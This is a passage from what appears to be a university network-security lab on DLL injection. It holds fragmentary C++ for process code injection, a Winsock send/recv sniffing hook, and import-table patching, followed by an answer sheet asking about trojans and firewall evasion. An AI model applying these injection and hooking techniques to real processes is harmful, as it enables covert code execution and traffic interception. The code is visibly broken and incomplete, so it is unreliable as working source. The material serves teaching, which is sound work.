dwD2 = (DWORD)GetModuleHandle(0);
37
return FALSE;
if(read!=sizeof(SecHdr)) return FALSE;
if(
(SecHdr.Characteristics & IMAGE_SCN_MEM_WRITE) //writable section
&&
( strcmpi((const char*)SecHdr.Name, ".idata")!=NULL ) //not .idata (import data)
)
{
B = TRUE;
break;//OK!!
}
pSecHdr++;
}
if(!B)
return FALSE; //couldn't find usable code page!
//
/////
//Found a section: (SecHdr.VirtualAddress + (DWORD)hModuleBase)
mySec = (VOID*)(SecHdr.VirtualAddress + (DWORD)hModuleBase);
//Now starts the mega part! (If an error occurs here, god knows what might happen!
B = WriteProcessMemory( hProcess, mySec,
CodePage, sizeofCP, &written);
if( (written!=0) && (written!=sizeofCP) ) //Uh oh!, System crash might occur now!
{//****EMERGENCY**** ****EMERGENCY**** ****EMERGENCY**** ****EMERGENCY****
WriteProcessMemory( hProcess, mySec, OriginalCodePage, sizeofCP, &written);
// Try to save what you can, and return back to memory
if((!B) || (written!=sizeofCP))
return FALSE;
return 1;
}
int Create()
{
BOOL B=FALSE, BREAK1=FALSE, BREAK2=FALSE;
STARTUPINFO sInfo;
PROCESS_INFORMATION pInfo;
DEBUG_EVENT dEvent;
DWORD ret;
ZeroMemory((VOID*)&sInfo, sizeof(sInfo));
B = CreateProcess(Filename, 0, 0, 0, FALSE, DEBUG_ONLY_THIS_PROCESS,
0, 0, &sInfo, &pInfo);
if(!B) return FALSE;
//-----
38
/// ////
///// We need 3 things, ProcessHandle, ThreadHandle, and BaseOfImage
////
///
//-----
while(1)
{
if( !(B = WaitForDebugEvent(&dEvent, INFINITE)) )
return -1;
if(dEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT)
{
BaseOfImage = dEvent.u.CreateProcessInfo.lpBaseOfImage;
}
if(dEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT)
break;
BREAK1 = TRUE;
if(!B)
return 0;
}else if(BREAK2==FALSE)
{
ret = RestoreOriginalCodePage( PHandle, THandle, 0);
BREAK2=TRUE;
}
}else
{
ContinueDebugEvent( dEvent.dwProcessId, dEvent.dwThreadId,
DBG_EXCEPTION_NOT_HANDLED);
continue;
}
}//end if
int Open()
{
return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE prev, LPSTR lpCmdLine, int nShowCmd)
{
Create();
Open();
return 0;
}
39
//DLL.CPP
//Lol, no, this isn't build for win64
//32bit address spacing only..
#include <windows.h>
#include "HookAPI.h"
#include <iostream>
#define Append(text) AppendLog(text, strlen(text))
#define LogFile "d:\\logs\\sniffer\\LOG.txt"
/////
//////////
HINSTANCE g_hInst=0;
HANDLE hLogFile=0;
///
///
BOOL IsLogging=false;
//////////
////
return true;
break;
case DLL_THREAD_ATTACH:
Append("DLL_THREAD_ATTACH\r\n");
break;
case DLL_THREAD_DETACH:
Append("DLL_THREAD_DETACH\r\n");
break;
case DLL_PROCESS_DETACH:
Append("DLL_PROCESS_DETACH\r\n********************\r\n\r\n");
CloseLog();
return true;
break;
}//end switch(dwReason)
return true;
}
//===========================
// Related to LOG file
//
HANDLE OpenLog(char *Filename)
{
40
HANDLE hLogFile;
return hLogFile;
}
BOOL CloseLog(HANDLE h)
{
IsLogging = false;
return CloseHandle(h);
}
SetFilePointer( h, 0, 0, FILE_END );
WriteFile(h, str, uSize, &written, 0);
return written;
}
//
//
//============================
//HookFuncs.CPP
#include <windows.h>
//#include <HookAPI.h>
#include <iostream>
#include <cstdio>
#include <string>
#define Append(text) AppendLog(text, strlen(text))
BOOL Hooked=false;
//////
////
41
typedef SOCKET(WINAPI *SOCKETPROC)(int, int, int); //SOCKETPROC
////
//////
//
///////////////////////////////////////////
//
SENDPROC Osend;
RECVPROC Orecv;
ACCEPTPROC Oaccept;
BINDPROC Obind;
CLOSESOCKETPROC Oclosesocket;
CONNECTPROC Oconnect;
LISTENPROC Olisten;
SOCKETPROC Osocket;
WSAGetLastErrorProc OWSAGetLastError;
//
///////////////////////////////////////////
//
int WINAPI _send
(SOCKET s, const char FAR *buf, int len,
int flags );
int WINAPI _recv
(SOCKET s, char FAR *buf, int len, int
flags);
int WINAPI _listen
(SOCKET s, int backlog );
SOCKET WINAPI _accept
(SOCKET s, struct sockaddr FAR *addr, int
FAR *addrlen);
int WINAPI _bind
(SOCKET s, const struct sockaddr FAR
*name, int namelen);
int WINAPI _closesocket
(SOCKET s);
int WINAPI _connect
(SOCKET s, const struct sockaddr FAR
*name, int namelen);
SOCKET WINAPI _socket
(int af, int type, int protocol);
//
//////////////////////////////////////////
//
//============================
// Hook functions:
//
int HookWinsockProcs()
{
Hooked=false;
Append("Hooking...");
42
Append("\r\n\tsend() -> ");
IfCantHook(Osend, SENDPROC, "send", _send)
SendCheck;
Append("\r\n\trecv() ->");
IfCantHook(Orecv, RECVPROC, "recv", _recv)
SendCheck;
Append("\r\nWSAGetLastError() ->");
OWSAGetLastError = GetProcAddress(GetModuleHandle(WinsockDll), "WSAGetLastError");
if(OWSAGetLastError==0)
SendCheck;
Append("\r\n\r\n");
Hooked = true;
return 0;
}//end function HookWinsockProcs()
//
//
//==================================================
int WINAPI _send(SOCKET s, const char FAR *buff, int len, int flags )
{
/////////////////////////
char buf[1024];
int ret = Osend(s, buff, len, flags);
return ret;
}
int WINAPI _recv(SOCKET s, char FAR *buff, int len, int flags)
{
char buf[1024];
int ret = Orecv(s, buff, len, flags);
int gle;
if(ret==-1)//SOCKET_ERROR
{
if(OWSAGetLastError!=0)
43
{
gle = OWSAGetLastError();
if(gle==WSAEWOULDBLOCK)
sprintf(buf, "recv(SOCKET=%d, size=%d) - No data in queue (nonblocking socket)\r\n",
s, len, ret);
else
sprintf(buf, "recv(SOCKET=%d, size=%d) - ret=%d - SOCKET_ERROR -
WSAGetLastError=%d\r\n", s, len, ret, gle);
} else
sprintf(buf, "recv(SOCKET=%d, size=%d) - ret=%d - SOCKET_ERROR -
WSAGetLastError=???\r\n", s, len, ret);
Append(buf);
}else if(ret==0)
{
sprintf(buf, "recv(SOCKET=%d, size=%d) - ret=%d If the connection has been gracefully closed!\r\n", s, len,
ret);
Append(buf);
}else
{
sprintf(buf, "recv(SOCKET=%d, size=%d) - ret=%d(bytes recv'ed) \r\n{", s, len, ret);
Append(buf);
AppendLog(buff, ret);
Append("}\r\n");
}
return ret;
}
return ret;
}
SOCKET WINAPI _accept(SOCKET s, struct sockaddr FAR *addr, int FAR *addrlen)
{
char buf[1024];
int ret= Oaccept(s, addr, addrlen);
return ret;
}
int WINAPI _bind(SOCKET s, const struct sockaddr FAR *name, int namelen)
{
char buf[1024];
int ret = Obind(s, name, namelen);
return ret;
}
44
Append(buf);
return ret;
}
int WINAPI _connect( SOCKET s, const struct sockaddr FAR *name, int namelen)
{
char buf[1024];
int ret = Oconnect(s, name, namelen);
return ret;
}
sprintf(buf, "socket(af=");
if(af==AF_INET)
sprintf(buf, "%s%s, type=", buf, "AF_INET");
else
sprintf(buf, "%s%d, type=", buf, af);
if(type==SOCK_STREAM)
strcpy(buf2, "SOCK_STREAM");
else if(type==SOCK_DGRAM)
strcpy(buf2, "SOCK_DGRAM");
else
itoa(type, buf2, 10);
Append(buf);
return ret;
}
//HOOKAPI.H
#ifndef __HOOKAPI_H
#define __HOOKAPI_H
//==================================
// SIMONSEZ - Matt Pietrek 1995
// Modified by - CrankHank
// Nasser Rowhani
// FILE: HOOKAPI.C/H
//==================================
#include <windows.h>
#include <string.h>
45
DWORD GetModuleBaseFromWin32sHMod(HMODULE hMod); // Prototype (defined below)
// First, verify the the module and function names passed to use are valid
pfnOriginalProc = GetProcAddress( GetModuleHandle(pszFunctionModule),
pszFunctionName );
/* pdw1 = (DWORD*)pfnOriginalProc;
pfnOriginalProc = (PROC)*pdw1;*/
if ( !pfnOriginalProc )
return 0;
// Tests to make sure we're looking at a module image (the 'MZ' header)
if ( IsBadReadPtr(pDosHeader, sizeof(IMAGE_DOS_HEADER)) )
return 0;
if ( pDosHeader->e_magic != IMAGE_DOS_SIGNATURE )
return 0;
// Bail out if the RVA of the imports section is 0 (it doesn't exist)
if ( pImportDesc == (PIMAGE_IMPORT_DESCRIPTOR)pNTHeader )
return 0;
if ( stricmp(pszModName, pszFunctionModule) == 0 )
46
break;
// Bail out if we didn't find the import module descriptor for the
// specified module. pImportDesc->Name will be non-zero if we found it.
if ( pImportDesc->Name == 0 )
return 0;
// Blast through the table of import addresses, looking for the one
// that matches the address we got back from GetProcAddress above.
while ( pThunk->u1.Function )
{
if ( (DWORD)pThunk->u1.Function == (DWORD)pfnOriginalProc )
{
// We found it! Overwrite the original address with the
// address of the interception function. Return the original
// address to the caller so that they can chain on to it.
B = VirtualProtect(&pThunk->u1.Function, 4,
dwOld, &dw);
}else
pThunk->u1.Function = (DWORD*)pfnNewProc;
//pfnOriginalProc = (PROC)(DWORD)pdw1;
return pfnOriginalProc;
}
hModule = GetModuleHandle("W32SKRNL.DLL");
if( !hModule )
return 0;
47
return 0;
return BaseAddrFromImte(imte);
}
/* example:
int WINAPI MsgBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType)
{
int ret;
return ret;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hprev, LPSTR lpCmdLine, int nShowCmd)
{
OriginalProc = (MESSAGEBOXPROC)
HookImportedFunction(
GetModuleHandle(0), "USER32.DLL", "MessageBoxA", (PROC)MsgBox);
if(!OriginalProc)
{
MessageBox(0, "Couldn't be done!", "ERROR", 0);
return 0;
}
return 0;
}
*/#endif
48
Appendix C: APISPY Source Code
49
NOTE: APISPY has several files. For more information refer to the APISPY32 directory. Here we provide the main files for the lab:
APISPYLD.CPP and DebugInjector.CPP
//APISPYLD.CPP
//==================================
// APISPYLD - Matt Pietrek 1995/2001
// FILE: APISPYLD.CPP
//==================================
#include <windows.h>
#include <stddef.h>
#include <shlwapi.h>
#pragma hdrstop
#include "apispyld.h"
#include "DebugInjector.h"
char szDllToInject[MAX_PATH];
GetInjectedDLLFullPath( szDllToInject );
if ( injector.LoadProcess( SzCmdLine ) )
{
injector.SetDLLToInject( szDllToInject );
injector.Run();
}
else
{
MessageBox(0, "Unable to start program", 0, MB_OK);
}
}
return 0;
}
50
EndDialog(hWndDlg, 0);
return FALSE;
}
return FALSE;
}
szFile[0] = 0;
memset(&ofn, 0, sizeof(OPENFILENAME));
ofn.lStructSize = sizeof(OPENFILENAME);
ofn.hwndOwner = hWndOwner;
ofn.lpstrFilter = szFilter1;
ofn.nFilterIndex = 1;
ofn.lpstrFile= szFile;
ofn.nMaxFile = nFileBuffSize;
ofn.lpstrFileTitle = 0;
ofn.nMaxFileTitle = 0;
ofn.lpstrInitialDir = 0;
ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;
return GetOpenFileName(&ofn);
}
//===========================================================================
51
// full path and replace the EXE name with the DLL name.
char szExePath[MAX_PATH];
return true;
}
//DebugInjector.CPP
//==========================================
// Matt Pietrek
// Microsoft Systems Journal, March 2000
// FILE: DelayLoadProfile.CPP
//==========================================
#include "windows.h"
#include <stdio.h>
#include <malloc.h>
#include <stddef.h>
#include "DebugInjector.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CDebugInjector::CDebugInjector() :
m_bInjected( false ),
m_pszDLLToInject( 0 ),
m_pExeEntryPoint( 0 ),
m_pStubInTarget( 0 ),
m_pStubInTargetBP( 0 ),
m_originalExeEntryPointOpcode( 0 ),
m_pfnODSCallback(0)
{
memset( &m_CreateProcessDebugInfo, 0, sizeof(m_CreateProcessDebugInfo) );
memset( &m_originalThreadContext, 0, sizeof(m_originalThreadContext) );
memset( &m_ProcessInformation, 0, sizeof(m_ProcessInformation) );
}
//===================================================================
CDebugInjector::~CDebugInjector()
{
CloseHandle( m_ProcessInformation.hThread );
CloseHandle( m_ProcessInformation.hProcess );
CloseHandle( m_CreateProcessDebugInfo.hProcess );
CloseHandle( m_CreateProcessDebugInfo.hThread );
delete []m_pszDLLToInject;
}
52
//===================================================================
memset(&startupInfo, 0, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);
BOOL bCreateProcessRetValue;
bCreateProcessRetValue =
CreateProcess(
0, // lpszImageName
pszCmdLine, // lpszCommandLine
0, // lpsaProcess
0, // lpsaThread
FALSE, // fInheritHandles
DEBUG_ONLY_THIS_PROCESS, // fdwCreate
0, // lpvEnvironment
0, // lpszCurDir
&startupInfo, // lpsiStartupInfo
&m_ProcessInformation ); // lppiProcInfo
//===================================================================
return true;
}
//===================================================================
if ( dbgEvent.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT )
break;
ContinueDebugEvent( dbgEvent.dwProcessId,
dbgEvent.dwThreadId,
dwContinueStatus );
}
return true;
}
//===================================================================
switch ( dbgEvent.dwDebugEventCode )
{
53
case CREATE_PROCESS_DEBUG_EVENT:
m_CreateProcessDebugInfo = dbgEvent.u.CreateProcessInfo;
CloseHandle( m_CreateProcessDebugInfo.hFile );
break;
case EXCEPTION_DEBUG_EVENT:
dwContinueStatus = HandleException( dbgEvent );
break;
case CREATE_THREAD_DEBUG_EVENT:
CloseHandle( dbgEvent.u.CreateThread.hThread );
break;
case LOAD_DLL_DEBUG_EVENT:
CloseHandle( dbgEvent.u.LoadDll.hFile );
break;
case OUTPUT_DEBUG_STRING_EVENT:
HandleOutputDebugString( dbgEvent );
break;
}
return dwContinueStatus;
}
//===================================================================
54
return dwContinueStatus;
}
//===================================================================
//===================================================================
m_originalThreadContext.ContextFlags = CONTEXT_FULL;
if ( !GetThreadContext( m_CreateProcessDebugInfo.hThread,
&m_originalThreadContext) )
return false;
return true;
}
//===================================================================
//===================================================================
55
&m_originalExeEntryPointOpcode,
sizeof(m_originalExeEntryPointOpcode));
if ( !retValue )
return false;
//===================================================================
bool CDebugInjector::RemoveEntryPointBP()
{
bool retValue = WriteTargetMemory(m_pExeEntryPoint,
&m_originalExeEntryPointOpcode,
sizeof(m_originalExeEntryPointOpcode));
if ( !retValue )
return false;
return true;
}
//===================================================================
m_pStubInTargetBP = (PBYTE)m_pStubInTarget +
offsetof(LOADLIBRARY_STUB, instr_INT_3);
//=====================================================
// Complete the stub fields that can't be preinitialized
strcpy( m_stub.data_DllName, m_pszDLLToInject );
m_stub.operand_PUSH_value = (DWORD)m_pStubInTarget
+ offsetof( LOADLIBRARY_STUB, data_DllName);
m_stub.operand_MOV_EAX =
(DWORD)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"LoadLibraryA");
//=====================================================
// Copy the stub into the target process
bool retValue;
retValue = WriteTargetMemory(m_pStubInTarget, &m_stub,sizeof(m_stub));
if ( !retValue )
return false;
//=====================================================
// Change the EIP register in the target thread to point
// at the stub we just copied in.
CONTEXT stubContext = m_originalThreadContext;
stubContext.Eip = (DWORD)m_pStubInTarget;
return true;
}
//===================================================================
56
bool CDebugInjector::ReadTargetMemory( PVOID pAddr,
PVOID pBuffer,
unsigned cb )
{
DWORD cbRead;
//===================================================================
//===================================================================
//===================================================================
typedef
LPVOID (__stdcall * PFNVIRTALLEX)(HANDLE, LPVOID, SIZE_T, DWORD,DWORD);
PVOID CDebugInjector::GetMemoryForLoadLibraryStub(void)
{
OSVERSIONINFO osvi = { sizeof(osvi) };
GetVersionEx( &osvi );
if ( osvi.dwPlatformId == VER_PLATFORM_WIN32_NT )
{
// We're on NT, so use VirtualAllocEx to allocate memory in the other
// process address space. Alas, we can't just call VirtualAllocEx
// since it's not defined in the Windows 95 KERNEL32.DLL.
57
0,
sizeof(LOADLIBRARY_STUB),
0 );
if ( hFileMapping )
{
LPVOID pStubMemory = MapViewOfFile( hFileMapping,
FILE_MAP_WRITE,
0, 0,
sizeof(LOADLIBRARY_STUB) );
return (LOADLIBRARY_STUB *)pStubMemory;
}
else
CloseHandle( hFileMapping );
}
return 0;
}
58
Appendix D: Brief NETCAT Tutorial to Send
Files for This Lab
59
Using NETCAT
Ato set the client and establish the connection type in the client machine:
When the file is done you may kill NC in the destination machine. The Source machine
should close the connection.
60
Answer Sheet Lab 10
QWU.1: Write down 5 processes you see, the user that has control of the processes, the
description given by PE, and the PID.
QWU.2: Write down 3 .dll libraries that were loaded by Internet Explorer.
61
Q1.2: Write down the address of the first NOOP that forms part of a 'cave'.
Q1.3: Write down the address where you added the string.
Q1.4: Write the address where you added the first 'push 0'.
Q1.5: Write the address of the first line after the JMP (The first NOOP)
Q1.6: Give one scenario where static dll injection could be used to trick a user into
giving a malicious program permission to access the internet (hint: think static injection
and peer to peer networks).
Q2.2: Look at the source code of EXE.cpp and identify in which line the dll is injected.
62
Section 3: Trojans and Firewall Evasion
Q3.1 (May be extra credit depending on Dr. Owen): What was the score of your
Firewall? A High score for your firewall means your firewall is good. Can your firewall
stop dll Injected processes?
Q3.3: Why does Internet Explorer launch as soon as the server is executed?
How long did it take you to complete this lab? Was it an appropriate length lab?
What corrections and/or improvements do you suggest for this lab? You may cross
out and edit the text of the lab on previous pages to make corrections. What
corrections and/or improvements do you suggest for this lab? Please be very
specific and if you add new material give the exact wording and instructions you
would give to future students in the new lab handout. You need to be very specific
and provide details. You need to actually do the suggested additions in the lab and
63
provide solutions to your suggested additions. Caution as usual: only extract and
use the tools you downloaded in the safe and approved environment of the network
security laboratory.
Turn-in Checklist
□ Answer Sheet
□ 5 Screenshots
64